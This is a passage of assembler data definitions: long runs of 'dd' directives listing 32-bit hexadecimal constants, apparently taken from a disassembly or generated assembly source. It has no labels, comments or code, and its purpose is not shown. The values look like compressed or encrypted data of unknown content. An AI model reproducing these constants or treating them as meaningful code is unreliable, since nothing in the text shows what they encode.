0A23B3584h, 0E254C764h dd 4E750A8Eh, 2AB17F8h, 52B923D3h, 0E04B04Ch, 0AFFBB29Dh dd 1CEE7CC8h, 40F12D11h, 0BB0AF765h, 0BA00411Ch, 27FEFA95h dd 9578D43Ch, 725F8899h, 0C4080004h, 149D59E8h, 0C1FE00DCh dd 3C627367h, 50BC5D37h, 0A4C3C1CEh, 0A47004D1h, 84109447h dd 829EF730h, 0E82B69F8h, 0BFDE300h, 0AFBABE53h, 0BB46B448h dd 110E7912h, 44502CF4h, 46844293h, 30FB2426h, 7B284878h dd 80DF0381h, 26E4B62Ch, 0BCE0CD98h, 8D1AFA0Bh, 0F9944C0Ch dd 0D1F28468h, 23A70320h, 0E99C1732h, 0F2E81390h, 383D03E8h dd 0FF3A0988h, 6482DAA4h, 0BC182BDDh, 0DC054A32h, 0BA4E7F1Eh dd 213B898h, 9C5B2E0Dh, 3CC23D2Ah, 0DD27782Eh, 3E405063h dd 7F2CC4E3h, 0DC230C9Dh, 0EAD8B909h, 1C84F980h, 981B412Eh dd 2FB0EF43h, 83B9EC70h, 49D8B4CBh, 0A40010E5h, 0EADBABD6h dd 0ADB9004Fh, 0DC537C9Ah, 0A01619B8h, 421F8403h, 96BB4D4Eh dd 5EE4D8h, 0F1124A37h, 0A0588378h, 5514E0Bh, 1C046006h dd 569B88B8h, 64400200h, 805D190Dh, 0C26609C0h, 0F0F9AF7Ah dd 81B73D00h, 90536D87h, 352B004Dh, 19E79C1h, 56EA8995h dd 0B1F71D2Fh, 5AEA05C8h, 0B9170374h, 1B428788h, 0C6F022h dd 0E9F6DA1h, 0A409BF83h, 31884901h, 83526A3h, 5F251427h dd 117954E8h, 5B010F02h, 0C0F72CB7h, 4AF0D730h, 0CCA0C9C1h dd 180011FEh, 8C822FF2h, 98E298Ah, 0A3D3EC4Eh, 0BA02406Ch dd 0D72B6B9Bh, 64707C8Eh, 46E75D7Bh, 0BAE31610h, 9FACF27Fh dd 0D3B9ECC0h, 1F31A489h, 0FA8134EAh, 7AD052h, 307C0A12h dd 89E136C0h, 0A925D5FEh, 2AA43917h, 68532D11h, 17A8A0E8h dd 0EF6B009Fh, 569A5F4Ch, 0D27D5BB9h, 0B223CF7Ah, 0F249123Ch dd 0F95480F4h, 0B8B91B90h, 3F072FEDh, 0F7DAC4C8h, 2129D0C0h dd 1D46FE13h, 56A0840Fh, 4864B634h, 3AD0C0ACh, 0FCE20Eh dd 0E1A36B02h, 8777FEACh, 8F0BF7ECh, 0F929D274h, 1E4501ACh dd 0E07D0C16h, 5902874Ah, 12657E81h, 0C49476A5h, 5E7CA41Dh dd 0F7007470h, 0AA98E8F3h, 1415623h, 87E16627h, 7E72B1B9h dd 65528020h, 94B0050h, 0C5B37496h, 0CA005F6Bh, 432DAAA1h dd 952414A5h, 0F645F439h, 0E4382D22h, 80953B7Ch, 0A39C0589h dd 90510842h, 0B03BAD00h, 0D91A73h, 7C0DA5A0h, 0DBFC9B6Ch dd 0BCF51105h, 44944452h, 751E58B2h, 0A881BBE7h, 49BF2128h dd 0EB5AE0A0h, 0D0030471h, 90B8A3DAh, 0E93138C6h, 0AF84BEBDh dd 0A9A11EE2h, 0B8BF8h, 6C358740h, 4EB927D4h, 2CB2289Ah dd 0B4FE446h, 0BEAD4861h, 0D6454808h, 0E00C202Fh, 0D001D58Ah dd 0D14C89AFh, 0D3E862E8h, 105701EDh, 514F3F79h, 188868F9h dd 0E239315Fh, 80C14A80h, 6DB4F7BEh, 0FCDBA900h, 9673CD56h dd 0D8694B3Bh, 4D76B89Ch, 0E80981C1h, 7C22EAAAh, 3A818D03h dd 2FE848A2h, 9900B57Ch, 933447E2h, 9F08837Fh, 0F56ACC00h dd 0BB44EAA9h, 0F8590022h, 98EC31C5h, 0B609AFA6h, 0D1A2D295h dd 0B4E4A738h, 2CBC7D00h, 58A0DE2Ah, 12E0B1h, 0E7BF72ABh dd 53AA9E1Ch, 165466E5h, 842C452Dh, 0D168005Fh, 12FC5F2h dd 8C16E727h, 5D1E4Ch, 1209447Eh, 0B34FF73h, 5C25F5C0h dd 9DC0D8A2h, 3C302926h, 0D7780Eh, 8549272h, 0D3B81675h dd 68550180h, 0EAF611E1h, 32F9A460h, 0D8A62F02h, 0C6A51691h dd 213F032Ch, 588F67BDh, 10C548D0h, 0B6E1B0Fh, 3D055F5Ah dd 34E65CD3h, 0C5182724h, 610CF070h, 8A002899h, 399D7348h dd 4147737h, 3E3D42D4h, 21B4FC05h, 0B33C406Bh, 0CA0043A8h dd 0DAEBFA71h, 43DE8968h, 2EF90B90h, 46FCC449h, 0AA097BE8h dd 73889D8Ah, 58E0A764h, 0BB050E1Dh, 0BEBA7296h, 5B0240F3h dd 0DD314509h, 6C5C60E2h, 7A1CC672h, 0B2930736h, 80FC23D2h dd 12FE09C5h, 98207716h, 311C3C04h, 0F3DA68B1h, 0FB2807Ch dd 1E08FFEDh, 3A396001h, 52456C2Ah, 292F7C27h, 6B21D011h dd 4B879A81h, 15ACAE0h, 0B030DC2Bh, 0FE49DA72h, 0DB4430C0h dd 1E9F6A12h, 0A067D8CDh, 30CC2727h, 50078302h, 5A0AD4Dh dd 0C1F8FDBBh, 7997B92Ah, 0F83759C5h, 0F8410314h, 0B9522D84h dd 83000BCh, 0C3317A9Ch, 0B0909501h, 65160BF9h, 0A8C858E6h dd 11DE0254h, 0C6414BC1h, 0E7E40056h, 35287420h, 21F8B195h dd 3E80802Ch, 5102418Ch, 6F002DF0h, 0E24CE964h, 4FE9220h dd 3D841252h, 0B714A033h, 4BD688h, 7DE98F46h, 0D0C0F4F7h dd 6FDE4101h, 7665A3F3h, 8984D830h, 0E0206F30h, 90BFA6Ah dd 0F71F4B7Eh, 70558E00h, 720B5A2Ah, 0B0A3C806h, 441D097Ch dd 0C20051B7h, 0BE3F2C80h, 3BA22217h, 0E1801F76h, 5E388AE6h dd 0A3097D6Dh, 0B974C15Ch, 270845D8h, 1DCB98Eh, 0E87F4729h dd 0CA5C7461h, 0B8229F81h, 80CC4C85h, 0C909E41Fh, 6E9A4605h dd 5C32A085h, 0C0E871A4h, 9E577EAAh, 4A52E209h, 46400061h dd 9F681D15h, 0B26AC810h, 0B0F7991Dh, 9B31FC02h, 44B76009h dd 0A7ECB3BCh, 0C0020890h, 2A913800h, 96CA7B80h, 91A870BFh dd 20628EC0h, 6FB9C2A3h, 3039FE81h, 722D9384h, 3E404409h dd 0B70077C9h, 8F85260Bh, 6D70B1E6h, 809E9238h, 7A59CADBh dd 230A1BDh, 0D6ABC3F8h, 0B155A510h, 303EBBC0h, 3B2E79D4h dd 66FC12B5h, 54433BFCh, 70D6DA00h, 0B568FB8Ch, 8AE92E01h dd 27CA4FC2h, 88A37C34h, 1093900Ah, 91015CA0h, 0A45B79BBh dd 32F45F67h, 15030082h, 698DE453h, 7E02491h, 0A1082E09h dd 0BC680431h, 90CB5440h, 0E47EC3E3h, 52171832h, 93AC4E0Bh dd 1AA28B6Ch, 0D0864022h, 5D60AC2Ah, 0E6E8F8h, 8D98A1AAh dd 563DB3FDh, 478B8A00h, 3965425Eh, 449490DEh, 3B22036Ch dd 889E0156h, 0B491372Bh, 8F382835h, 3FDA20C6h, 12B55D1Dh dd 0F1C59CCCh, 26F06418h, 809A2E74h, 4BDF183Eh, 204208C2h dd 0E8647FBEh, 0B181EA01h, 30266F6Ah, 0E610203Fh, 60317A5h dd 0DAF67442h, 85BB98CAh, 0F2B0A1h, 354EF3E9h, 0CB0EC86Ah dd 20F96898h, 0D12C7094h, 474270B0h, 7360E1F7h, 0F15C206Ah dd 0D43AB714h, 90A71F31h, 182F1680h, 9297046h, 7F95B8DFh dd 47D434A4h, 7E80EC47h, 96B08Eh, 2CD5F24Fh, 0F365014Dh dd 3967861Ch, 57DF6441h, 0CE2E51B8h, 214E2100h, 6B0A094h dd 0D2BD2A0Ch, 0E9201835h, 0BB4C0B0Fh, 0BCC81D08h, 31E22A20h dd 90FAB900h, 0CBCCC134h, 22A4B09Ch, 26784443h, 574E7E70h dd 0E65CF8D0h, 49710BE5h, 0D448FAECh, 94A1B5A4h, 40F4F22Dh dd 5F273440h, 0B1AB1306h, 9E6CE0BFh, 0A1B0FA50h, 0C8A9672Eh dd 6094EC20h, 5CEA6FC2h, 90460009h, 975451F0h, 4BE7E906h dd 3BD80869h, 0E74815C9h, 55220C4Ch, 0EB99C301h, 34F05960h dd 52B81420h, 344CA04Dh, 75F3C0DFh, 0BA81EBA9h, 0B89EFCACh dd 5CEA9E40h, 3FCE0078h, 0E748F771h, 0D3012B0Ah, 514E2E59h dd 442D4330h, 0E71EB822h, 0CF40069Bh, 0F1192085h, 0CC50772h dd 5509BFC8h, 2DE8C074h, 0B013FFEh, 344726A5h, 3C78EB78h dd 0E54BB917h, 0C8007A90h dd 16D32539h, 20E0F635h, 8B3312Fh, 14A44500h, 2CBD5h, 7A205583h dd 22BC5B2Bh, 0ACE8CF29h, 8C49D300h, 4BF512h, 0C6EA62Ah dd 5C86D5E5h, 8CB04190h, 9D2401F6h, 0F824A06Bh, 8C30E32Dh dd 1444A349h, 7900BB98h, 63B2170Dh, 18FA7F78h, 0EE46BD15h dd 65766F41h, 343E1090h, 90B40F0h, 5E08794Fh, 1058D8C1h dd 37BE1DDh, 794CAC3Fh, 200078E0h, 5CC90B6Fh, 1EE567E8h dd 40ECBC9Ah, 4462BD47h, 0C319C58Ch, 18199896h, 2C67A96h dd 0FDE628Ch, 0D0E29071h, 985A43E2h, 1CDD95h, 0DABB569Bh dd 5362E660h, 30BCE11Bh, 2CC5D898h, 4E71026Dh, 0D201E7F2h dd 0EA3088D2h, 474251C4h, 40331DE5h, 0E902092Fh, 0C694CC79h dd 0A82728F5h, 4962F78h, 87BDE888h, 1AA6C785h, 94F80097h dd 33A007BFh, 0D6A47104h, 0C0ACB9CFh, 4C82A189h, 2C58EE84h dd 4A284D22h, 0A14C830h, 0A0A68100h, 2C679A0Fh, 7C750080h dd 0DBB8B4F2h, 5F882F60h, 8599006Fh, 55C05779h, 7E002501h dd 41269E88h, 0FD05AE1h, 86A0DD9Ah, 70C3C127h, 0C98FF0C4h dd 0BA5B4D00h, 17E82BEDh, 529E88D2h, 4A834Ch, 93C51615h dd 9A97C8h, 77F4CFBAh, 565B94E9h, 0BC66D600h, 0B2269BC3h dd 0ECF5293Dh, 2CA430D0h, 950041E8h, 4F8D48FDh, 76AEACB6h dd 0E37909FBh, 30E426D0h, 0C1204900h, 0AA04F9C6h, 0C4E200D5h dd 0A3A0F481h, 120F25DAh, 0E0CFC935h, 2A3AE978h, 0C401500Dh dd 5F8B043h, 0D1ADC270h, 0DCE0073Fh, 6803C8F0h, 0AA654D03h dd 80585E1Dh, 0B9ECDFE3h, 2E00AC36h, 40730755h, 45BEE7h dd 6E2A4388h, 28800DE8h, 0C44CEB00h, 0F75EA59Ch, 769200D9h dd 8685D4Bh, 442402FCh, 57421446h, 0EA871BDh, 0C1E0B184h dd 868D678Ah, 8F764C00h, 34F647EBh, 0ECA57E6Ah, 467724ADh dd 0C4592584h, 250FEA08h, 780A5441h, 0CAAA8738h, 0C25BD1A0h dd 0F4420013h, 0BCCDF615h, 0C6E078F8h, 0D85C3924h, 0B7242C04h dd 0BA135340h, 3CB10ED7h, 25000AEh, 237A390Fh, 611D8382h dd 28DC268Dh, 3503C1C0h, 0AD012625h, 71681F98h, 39E82998h dd 80473FACh, 0F4EB8A97h, 1F20E6FFh, 699895h, 0E12AC36Bh dd 350756A7h, 30296C08h, 68A08149h, 40A95F65h, 444608C0h dd 42012787h, 7C1905B0h, 0F555000Dh, 0FF6CC52Bh, 0CA05794h dd 0E495492Fh, 94243B8h, 5EC5C22Dh, 0F6C04EDCh, 156FE685h dd 0AF231414h, 3033001Ch, 836247F5h, 45423EBCh, 5D11E97h dd 0CCA15758h, 9BFC3500h, 56FA900h, 0D3810CF4h, 0F0F10168h dd 0C4CA239Eh, 63C3C555h, 4C2D12ECh, 99FECACh, 0E8D6CDA0h dd 8F2C8049h, 22505C7h, 1E3E6DDBh, 2C416A27h, 0E8C4F446h dd 0E30E50ECh, 697290BAh, 50D85ED6h, 2B1F9859h, 81F9EFE5h dd 0FD0C9E58h, 90664194h, 5C7C025Ah, 7C5CB0B4h, 422FDB60h dd 0D9DF002Dh, 0A1E2A7ECh, 7C3F2AF0h, 1290CC45h, 0A0B58594h dd 88155C20h, 0F0986A21h, 24463C26h, 0F060D424h, 415CA1h dd 68ADABF2h, 0F3EE2283h, 0F1D2101h, 29496164h, 0F4DE9E02h dd 0F0B0D843h, 1DF29C23h, 0F4DECBh, 6D3520A7h, 0EE134E85h dd 582015E7h, 71C52644h, 0D2B1AD5h, 0A44608BDh, 0DC73F101h dd 740C08C6h, 2EB2FDCh, 0AE37E2F6h, 90751C62h, 720D11Ch dd 99DFC970h, 0ECDA5087h, 2E7D3504h, 8D0044F6h, 0E582C60Fh dd 5E9C2Bh, 58A7C4C7h, 9BB811AEh, 71C89995h, 57004832h dd 9F113AE5h, 0C05C95B8h, 0BD46C00Ch, 90295B39h, 30874C88h dd 32680F73h, 0E5009861h, 466B0ECBh, 19881F31h, 282BC2BAh dd 0F700E174h, 46B8A747h, 3E32F864h, 5F308642h, 4045922Ah dd 0C8D3232Fh, 3C614F30h, 0A4005057h, 0A5544E6Ah, 0BD17499Eh dd 74D01C6Eh, 4B48C1h, 0C6D52B70h, 7DB9FBAh, 35895402h dd 60C1612Fh, 25EB582h, 5BA3BDC9h, 0AC516C9Eh, 0A98D8B3Bh dd 0B63E00A1h, 0DF57Fh, 0F86D8496h, 0A3CECB61h, 4F2D680Bh dd 8EBCF9D1h, 0EF2729Fh, 38214028h, 10C59147h, 5D21846h dd 0FD779D4Bh, 97B4C8ECh, 6FFC8C02h, 0C0A8C314h, 0DDF03h dd 0AC04EEA5h, 0D02127CDh, 0BA7F9503h, 0C806360Bh, 57527Ch dd 72B1460Ah, 0A0378044h, 23471D0Fh, 7B05127Bh, 64F3BEBAh dd 54664D7Ah, 46F64720h, 4788768Ah, 731C7014h, 3D1CAD83h dd 0E9C02586h, 2AB8DE27h, 0D2AB008Eh, 4ACBBD12h, 0D559BA57h dd 8CC8D2C0h, 2667AB5h, 8C152378h, 2C5151B8h, 44382F0Bh dd 0FBC0F76Ch, 82885BC7h, 642BD1B4h, 0FC420098h, 0A4DC9008h dd 1D00E877h, 5B4FE0E5h, 0C1BBC27h, 300A111Ah, 0E4976A39h dd 977E1F40h, 31C4F0E7h, 0C0085A2h, 689F2665h, 0EEBF183Ch dd 3C68BC29h, 0A44870C4h, 0F0084168h, 0D2284C14h, 4E4C9C3Dh dd 73293B24h, 0B4F88197h, 0FC7127E4h, 760C613Fh, 318B21A4h dd 42C40C8Ch, 7B5C54A8h, 0C0F83A48h, 638DCE2Ah, 0D2C700CBh dd 0AEB74FCFh, 0C0269A54h, 500454B4h, 40A5C547h, 22F74042h dd 945D4103h, 0AFC200B8h, 673066E0h, 0CA3CC351h, 0BFBAF1h dd 86612ECDh, 27C0EAh, 0A36CD4D7h, 0FA18924Ch, 0BCB00AF2h dd 6A131A0Bh, 12DCC63Eh, 34C746Dh, 0D185C1C0h, 719ED5F3h dd 669DB87Dh, 244624F4h, 0C0404480h, 62D51A28h, 0C7B4014Ch dd 7CA0038Ch, 0ECF2BBh, 502C7D95h, 1A067475h, 0EBC7ED0h dd 0A935403Dh, 15A8198Eh, 204B502h, 2680B8FCh, 43AF322Eh dd 38B8689Fh, 0C8B95BD2h, 23E19E68h, 0C1E48080h, 983A8427h dd 0D92B00E1h, 0E9420B73h, 0E004C96Fh, 0CBF8E8C3h, 73C67888h dd 30575892h, 6A98DCA4h, 250FE021h, 571A0490h, 3C09E707h dd 0CA43B84Dh, 8214DDE4h, 74285E98h, 4DC603EFh, 985D21C2h dd 7CB40B80h, 1D952200h, 6D86A35h, 7802B52Dh, 0D4515484h dd 68CA5204h, 2000CC51h, 5453C46Fh, 4D542F08h, 0C81AB058h dd 34802A6h, 224337E8h, 503F3489h, 6200F7BDh, 0E4F0783Fh dd 3C179DE1h, 0A901DF82h, 0A4FC4C64h, 0A15C2C74h, 91CC592h dd 0B64C7309h, 0E4D90Fh, 63CE230Ch, 0DC00A9A0h, 0F4348DA3h dd 6502F88Bh, 9699142h, 213F5h, 0C0814F2Bh, 80BFEA9Eh dd 0E4FF8961h, 7751A51Ch, 7263138Ah, 15D8205Ch, 0BD2CBA8Bh dd 0B744FC2Ch, 0A4490E43h, 0C41FADC8h, 0B100AE72h, 84471B30h dd 120FEF1Ah, 14C11Dh, 9295264Dh, 0D6FABC8Ch, 81F9A369h dd 16E7EBF4h, 8B544608h, 0BA807F7Ch, 0FE82FB9h, 7879904Ah dd 2C884340h, 0BBF0025h, 148026DEh, 3600F1B9h, 75D38315h dd 95E349DCh, 0B7757864h, 1D762800h, 443BC33Fh, 0AC7E0E9Fh dd 4093AFA3h, 0B3BD13D8h, 58918352h, 0D193C101h, 98A46741h dd 0EEB6048h, 0BF002105h, 7B825487h, 998B588h, 7FCA318h dd 0C61160D4h, 0A138804Ch, 84993D2Fh, 88B07235h, 0EC0D80C0h dd 0CD926855h, 740BA9E4h, 12CC5BAh, 8252B030h, 8905052h dd 9CC4449Ch, 0B98B3BE4h, 243A4DB8h, 3408FB28h, 9521C568h dd 80783740h, 41E02875h, 8B26A402h, 5FF3D444h, 59C95086h dd 0B7B54609h, 0A3EE082Ch, 5551C718h, 0C30724DFh, 36940D30h dd 0F746068h, 0BCE82988h, 0A1208040h, 0DFF37D0Ch, 5513B200h dd 0BEB63FE2h, 0BD4702DAh, 0F7C98259h, 93E2BC78h, 793AA404h dd 0CA80DD8Bh, 1E7EC508h, 52F7E7AAh, 3F08E202h, 0DCBCA9A3h dd 0A6801D80h, 38769357h, 27C3D54h, 0A37CF28h, 925F6A4Eh dd 0C0E4CCh, 0AD8CBE54h, 0A803770Ah, 34BFA903h, 8346923Ah dd 25313F4Bh dd 0C426E70Ah, 0C64742B8h, 0ADCDC29h, 0A1308272h, 95B809D4h dd 5420B46Ah, 2BC2AB24h, 6E64C300h, 99D9D5EFh, 0FDF67426h dd 0F944D440h, 0DC308168h, 0CEEB86Eh, 1E4060BEh, 4A9989h dd 860BE5AAh, 0ED6AC64Dh, 0A5D82E05h, 30E0CCCDh, 61AC00B9h dd 133F2956h, 195019Fh, 555DB3C4h, 79B4FC47h, 1EA48Ch dd 0BB31BE0Fh, 0FB1663A6h, 64D6C800h, 2E93B9F1h, 44D8964Fh dd 0E13B30E8h, 0BCA1B74Ch, 3A0FE9D6h, 26A3C9Ch, 0F1046F61h dd 3C5E2748h, 80E9A140h, 0CE9B0002h, 4932EB59h, 5C48C437h dd 74D90D04h, 372F59A2h, 0BA2C2050h, 0FC0075C3h, 0E7CFB304h dd 0E633BB18h, 21460055h, 541CD3Ah, 2B000D68h, 98C4722Dh dd 2FE4D1DBh, 0D820ECDAh, 6F4276B7h, 0E07F1600h, 3B195A5Bh dd 5C1158CAh, 0BEC89448h, 0E38DC280h, 0A11E21h, 0AB52DD92h dd 3BFBD94Ch, 0BE1358BEh, 5EF200F8h, 2B10848Dh, 7D838420h dd 211E0081h, 8BCBFEE3h, 0AD0A5BB2h, 148954F5h, 0FA24E481h dd 97E0B937h, 36A77CEh, 9B63C0DCh, 70056CBFh, 0CBA5044Eh dd 25409427h, 58FE443Fh, 1F8010ECh, 7B7656E0h, 40741D03h dd 0B3914EC3h, 815F8A71h, 69932A50h, 0AAFC882Ah, 21CA500h dd 582DCFCCh, 0A06E788Bh, 74DDF74h, 0BDFAE659h, 4AE282FDh dd 230020D8h, 37D6C0AAh, 17090FB4h, 911C9899h, 0FC3B0388h dd 510035E4h, 86C30F63h, 5AAF04FBh, 3A18C8CDh, 0C5DE361Fh dd 286532C1h, 44233B2Eh, 26054621h, 0E0C207CAh, 6E202F28h dd 68BB02E8h, 634E3000h, 0F6A367ACh, 0FE2A003Ah, 5D0D1A48h dd 0C5002C1Dh, 29D1019Dh, 95399FBDh, 2A5A1898h, 0F9E19C1Fh dd 0A91CC83h, 0EFEDA01Ah, 8E8D00D2h, 1390525Fh, 0E305A993h dd 0C52444A4h, 0B07264B0h, 0C375BF8h, 0DAB9D144h, 0CC77409h dd 7B20825Eh, 7178E672h, 2EBC0EF9h, 4B2087B8h, 0A7CCE55Eh dd 5A65B907h, 0C0FBE844h, 0B5AA45FCh, 0B61E246Eh, 6F802441h dd 14598F8Bh, 3D5B009Ch, 0C52A811Eh, 0A207C45Ch, 152BA340h dd 30AE3140h, 271200ADh, 58619276h, 944C41D2h, 842C0043h dd 0BE84E6Bh, 0C34600A4h, 0CC96F3F5h, 781FC4E2h, 0E02F6D93h dd 1E310DE8h, 0C0C83082h, 0CCA505BFh, 0D72CB9D0h, 9542F8EBh dd 3F712068h, 1C244E91h, 67179C33h, 16318DCh, 0AF783721h dd 0FCF76874h, 98173A5Ch, 2B12C643h, 0F0304C8Ch, 3270E06h dd 39E052Ah, 0FD452E74h, 4CA2714Ah, 8EE5BD00h, 0B4BC25B3h dd 2C114C00h, 0FB392B22h, 53A50367h, 87D9563h, 1219A1B0h dd 8F1E9C3Fh, 0A028764Fh, 0BEC7DE82h, 2E9890D7h, 517BFD1h dd 0C36991F5h, 0FDB8AB78h, 0C694038h, 4070DE98h, 43AED31Ch dd 0A62D6A00h, 5B4A8EF5h, 0F4109787h, 0F81EE537h, 80BCAB39h dd 90DBB86Bh, 23A31A4h, 47B7F3E0h, 40D962D5h, 1B4C00A7h dd 7B267080h, 10AFBD03h, 185CA452h, 0E045498h, 1D08E6CAh dd 3DAF8E4h, 0C3BB0FE4h, 94883447h, 0AD005988h, 0FC8B2884h dd 2F255CCBh, 3CE4442Eh, 62BD0805h, 30C4CEC6h, 288034ACh dd 905CBFEAh, 3F2C2100h, 0DD16B2D5h, 48F5E4D8h, 0E0733F67h dd 94C5000Eh, 1475BAEEh, 0B3162B3Eh, 810B9732h, 28D080A8h dd 3A6D54h, 0E8339464h, 43D0F31Ah, 364E9F1Fh, 1FA26A4Eh dd 6C452Fh, 9CE35B6Ch, 7F38DD51h, 0BF28365h, 0E9239B81h dd 54F5B90Dh, 0C8F0547Eh, 6EB0414Eh, 0D34B4630h, 0E657017h dd 0B90B3C00h, 0E0AB208Ch, 0A8B4444h, 2B3DF700h, 0E071FE6Bh dd 1BA300C4h, 4D1654FBh, 90009D58h, 0F4461ACBh, 62D97F7h dd 79E113FEh, 0BB0B4005h, 902A2BDDh, 97CB43F4h, 0C7E56418h dd 19504B00h, 3790B621h, 5BC301F3h, 6E254579h, 14C04CBCh dd 0CAAFBA27h, 5C905714h, 2201FF1Bh, 0C714097Ah, 21C8F1F0h dd 84160075h, 990AB7BCh, 0ED1B0E3Dh, 227859C2h, 0A20CC648h dd 183DE8EAh, 0A7C45B70h, 0ECFC0AE4h, 0A83FCBEh, 9824F5E1h dd 9940438h, 50D47D2Dh, 0A053EC0Bh, 9A40231Fh, 0E6A72CB7h dd 89F609h, 0B5997C54h, 8E047129h, 746FCC00h, 94C30B5Eh dd 811400FBh, 9CBFEE6Ch, 0A25AD395h, 0DC2070C4h, 0CE3630h dd 3328D527h, 0A381629Eh, 0C264600h, 0E90A8967h, 35371602h dd 5EF0940h, 305AE450h, 13CC88h, 5325388Dh, 0B1940611h dd 0B004E095h, 0E9F09ECDh, 2F974B00h, 0CB2A5731h, 449AE00Bh dd 9016EE4Ah, 0E9219CE6h, 95805390h, 0D45DCAABh, 52102EF6h dd 1D0367E5h, 0C04FF12h, 0EC00D9E7h, 35D97A7h, 4C7D4004h dd 40F0A554h, 0D9EC966Fh, 805C3830h, 0BBF80620h, 26F4072Dh dd 0C086986Ah, 581E33CEh, 4C91E112h, 0F4EDEC13h, 51C93C88h dd 5FBC28h, 0DBB90974h, 3309A491h, 58B701D7h, 6040915Ch dd 7E406D62h, 4C46DA04h, 0D0E5F29Ch, 320DA2Ah, 2BD5C4B6h dd 2610705Dh, 42F82F3Eh, 0C892546h, 6D618000h, 0CFECCA44h dd 659C3Eh, 2D011440h, 755BFAh, 42A5A3D6h, 11E83A2Ah, 4510CA2h dd 2E85B307h, 3109D60h, 961E00BEh, 0BA77D1D4h, 0E697D2BBh dd 0C4264A8Ch, 0A420EE2Ch, 3C4E3A25h, 0F001F1F3h, 0F734E1D3h dd 0D10070C4h, 0C898713h, 4F0098CAh, 822941C1h, 0C2244EB8h dd 9D50C43Eh, 74442D64h, 6B8BC8EBh, 784001DAh, 0BCB14188h dd 8009B90Eh, 7619FCEAh, 0CF26054Dh, 40C29843h, 121561D8h dd 350103B2h, 470185F9h, 0A86877B5h, 48B90A0Ah, 0C9D69040h dd 1871E6h, 42656E95h, 0E00DB1Dh, 151B8BB6h, 0F4888681h dd 0E26400CDh, 465661D4h, 8D00FAEBh, 36E8A3A5h, 584559B6h dd 6019090h, 68A61557h, 9F160126h, 3727460h, 0A50C4EA4h dd 0BEBC9E2Ah, 0AE719820h, 0C8420086h, 7E6DFBE1h, 3132ECD8h dd 0F9D7B141h, 0C9040ACh, 6B002236h, 1C52BC8Bh, 1410595Ah dd 0E80FE8BFh, 9E980097h, 1A281F46h, 74070D0Eh, 624D01A4h dd 0B02290C4h, 575A4F04h, 6AC08050h, 0A430FC4Eh, 0B69B89Eh dd 3010B527h, 4A00030Ch, 0B953AD63h, 0E0FECF68h, 0FC983C8Dh dd 50089C7Dh, 0D00893Ah, 0F2F099ABh, 0FE6147B1h, 0CB2F0091h dd 0EEC83DC9h, 989F88FEh, 0F94B80h, 60CD2C3h, 0B9D1DCB8h dd 156DC216h, 868010F9h, 0C0D87A61h, 0DAE2B001h, 2DE33805h dd 4448BC61h, 318703C3h, 15C6E511h, 40AFC4D9h, 0D5BA3608h dd 80944597h, 6B2A0409h, 6700A1F3h, 2E3FCD53h, 0F029F715h dd 0AA210B4Bh, 0EC90D603h, 285C1368h, 8B16C0C4h, 7BA87F4Bh dd 1254008Fh, 266C37FAh, 0E501E49Ch, 9B14C30h, 0CC68B0AEh dd 3E435182h, 2A9B7002h, 85C02189h, 0BA9ED47Fh, 0C73F9021h dd 783C2BD8h, 0D1434FB0h, 112E446Ch, 4980CF36h, 0E35896FDh dd 0D81F16CDh, 0E0A5F8A2h, 0E8881324h, 0A849164Fh, 808CA95Ch dd 29195208h, 91A0F32h, 61E2639Eh, 145C6CA5h, 6648D2E7h dd 0C4A158FAh, 9E6C34FEh, 63CA6D18h, 27674030h, 404617E5h dd 6884B811h, 0D580743Eh, 0DE779D94h, 7A2ED909h, 50074CFEh dd 4A0D708h, 0BE7CB98h, 0AEAF850Dh, 0B252C80h, 51504D0Ch dd 2AE3B964h, 7E5028h, 187016F0h, 10071E4Eh, 0F8B76C1Ch dd 0A9036FAEh, 0F42E89C2h, 3C21C4B2h, 51C50B01h, 94527608h dd 50B92756h, 23424CC0h, 2598BE00h, 19E145CAh, 908CBA08h dd 9E110BF8h, 84E4359Dh, 0DC25F600h, 58E02D6Eh, 21700D3h dd 0CE2211ADh, 0BF2C9D3Dh, 0FD007F33h, 0D0E37276h, 52834AB9h dd 324334Ch, 0C75A9690h, 43656704h, 0A4D137EDh, 9833CC9Eh dd 0B24BE04Ch dd 47A38094h, 13664049h, 17BA44F1h, 0A088CA4h, 34C80D5Fh dd 499800A3h, 86899E74h, 0E000124h, 1C4699A0h, 66CA3Fh dd 2A5B4F67h, 27B8E5C4h, 9143CB1Fh, 0EC2D3200h, 7E44C3F5h dd 1B9F25DAh, 900BD821h, 0F44FE8A6h, 61B4B21Dh, 22603140h dd 1648394Ah, 0C0E3FD0Fh, 0A9BCF978h, 9897CE4Eh, 0FFDCF249h dd 0B00D4C60h, 7E4716DCh, 0FE00901Bh, 9013215h, 9C0F9459h dd 2AE8F345h, 90737C97h, 2C4F0BCEh, 4800D70Ch, 5E4CB843h dd 0E880A894h, 0A4704ABDh, 68482FDCh, 7EC2C468h, 58B81540h dd 21DF3447h, 3C54A101h, 496ED9D8h, 0B4D4D0DCh, 75FDF62h dd 6144B677h, 112AD821h, 80805C6Eh, 0F35A3D8Dh, 0DCE00A8h dd 0BC098A6Dh, 0CA005923h, 0AFB1AAFh, 449015Bh, 0E7E2EC4Ch dd 6B3C80C1h, 0D001DE8h, 753F07D7h, 0B6BCBA35h, 1B4C897Ch dd 1D0070F9h, 490F4B62h, 7D13008Dh, 64CC16ACh, 0B8024DF5h dd 7231A50Bh, 0A0C8F8FDh, 13914ED4h, 0CC2B0E40h, 90B5275Ch dd 3F963BD0h, 408F2843h, 12D286D8h, 0A1E830FCh, 40F9ACEDh dd 28D892E7h, 87B111Eh, 915D6ACBh, 0B811C320h, 7C8A6B48h dd 46BCE800h, 320C075Bh, 9D4C23Ah, 0BAB9BA40h, 3B34C250h dd 411FB990h, 49968834h, 3EC808A3h, 7002F811h, 0D4E5524Ah dd 45D882DDh, 0B880295Bh, 0EFEDC5B3h, 16E83806h, 4ACCC17h dd 18445726h, 2A10A4E7h, 306940h, 1F4CB612h, 7D90C510h dd 1C50AF07h, 0BF347035h, 0C04CF8F1h, 0B99100DFh, 0AC71D19Fh dd 0BE02121Fh, 9B3856Eh, 18005F2Fh, 0B4F5524Bh, 44EC82B5h dd 532D22A7h, 0E4977CD2h, 0C1543968h, 5AD68202h, 33F54C9Dh dd 197C358h, 21CC09F9h, 6B7B248Ch, 0A481AC8Bh, 0FA1BD944h dd 4594A257h, 40001266h, 1F670920h, 3BFE6D07h, 0B101E551h dd 29306CC8h, 58829516h, 0D929B847h, 832D1F38h, 4C17AD8Fh dd 2EB09DB3h, 80AE0B0Eh, 0CBA54503h, 0B8A36A10h, 12E39190h dd 0B0858FFDh, 5643E9F4h, 0D1299501h, 0C3467296h, 